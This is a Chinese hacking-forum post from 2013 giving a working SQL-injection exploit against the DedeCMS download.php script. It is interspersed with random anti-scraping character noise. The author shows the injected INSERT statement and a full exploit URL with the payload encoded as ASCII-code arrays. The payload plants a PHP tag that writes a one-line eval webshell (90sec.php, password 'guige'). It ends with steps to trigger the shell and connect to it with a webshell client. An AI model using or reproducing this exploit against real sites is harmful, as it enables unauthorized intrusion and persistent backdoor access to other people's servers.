本帖最后由 土豆 于 2013-6-10 14:41 编辑 9 y2 e# X6 L, G w/ [) b
9 `+ F! D4 `6 a$ u \
# _" G4 z. t3 q- W# L/ t作者:鬼哥
6 W" ?, c$ k6 c" l, o$ Q$ w! y# x) P# ^4 e: _. B
看贴不回，没JJ
% c: S$ s. H) `" K8 r# `; b0 V5 m
7 p9 q6 n O+ s" p# `' X漏洞大家都知道是哪个。. _0 L/ {3 K9 w; V- f
2 y7 ^6 P8 o* S6 T, }2 }6 k; w其实我一直在玩。。郁闷 虽然这个漏洞不是我第一个发现的，以前也是朋友告诉我。
" g& S& u5 P5 x, J* F. @" X" W- i* n+ W* E0 ^7 _
但是没公开。我承认想自己留着玩。。以前这个漏洞应该很多人知道没发出来而已。9 l) Z5 @# ~+ H4 I# q/ e
9 A* x: Y& J: f
刚看了出的几个exp .. 进后台。还得找后台路径 太麻烦了吧？/ e3 C0 n$ v, i
9 Y7 i0 O" E2 y6 o7 G0 Tgetshell 很容易 。 既然刚发出来的是 sql方法getshell 我也看到几个人发了sql增加表mytag的内容。 V/ I5 M& X' e( C/ W4 B
( m3 A) A9 a- ]7 C) O; n+ c# r
但是测试了下。。失败& h; e/ m$ r8 i$ N
2 Z; [ N- Q) Q( V/ g
原因： 用的语句是update 很多站 mytag 里面都没内容。那么你用update 那有什么用 修改不了任何数据。只能用 INSERT 当然，语句带#就会暴 错误。。现在要做的饶过即可。以前也出过那么多dede sql 结合饶过，成功INSERT。
6 f" |0 ]+ w" z- {' I
9 M4 _5 A2 b1 X; q7 E! C" p" }构造语句：mytag` (aid,expbody,normbody) VALUES(9013,@`\'`,'{dede:php}file_put_contents(''90sec.php'',''<?php eval($_POST[guige]);?>'');{/dede:php}') # @`\'`/ r1 _4 \3 K- f. T, J1 s/ V8 l
8 L& T: M6 i+ C. z- j( [+ [
EXP：
4 s+ z8 E: D5 t1 n$ i) \) ^' U7 ^4 j7 Y. d' ]) q+ A' c3 w* o. p( [0 j
http://www.xxx.com/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=57&arrs2[]=48&arrs2[]=49&arrs2[]=51&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=57&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=103&arrs2[]=117&arrs2[]=105&arrs2[]=103&arrs2[]=101&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96- X6 Z1 E {8 F7 f3 ]1 k8 i
5 M+ ]$ g( Y9 w4 P7 f
9 U: f6 K. x" d9 u' e, y' e成功增加。
$ A. _1 Q+ `" b: R: e
3 K+ h6 [4 r. P' s访问http://www.xxx.com/plus/mytag_js.php?aid=9013
- o$ e# @, s& h0 p& X+ i生成一句话木马.
4 ]$ ^6 W( b' F% m8 e! o/ s' c, b3 E菜刀连接 http://www.xxx.com/plus/90sec.php 密码 guige1 l( N+ O( X# M- K6 J
7 u5 Y* N7 `( [6 S. e7 W7 m) U& n8 v
测试OK。
- L9 I. s) H3 g8 l/ E- |7 ]
, C; l# d1 K7 k# k' r8 y& w $ U& s8 m7 a. p" S
|
发表于 2013-6-10 16:49:18
收藏
支持
反对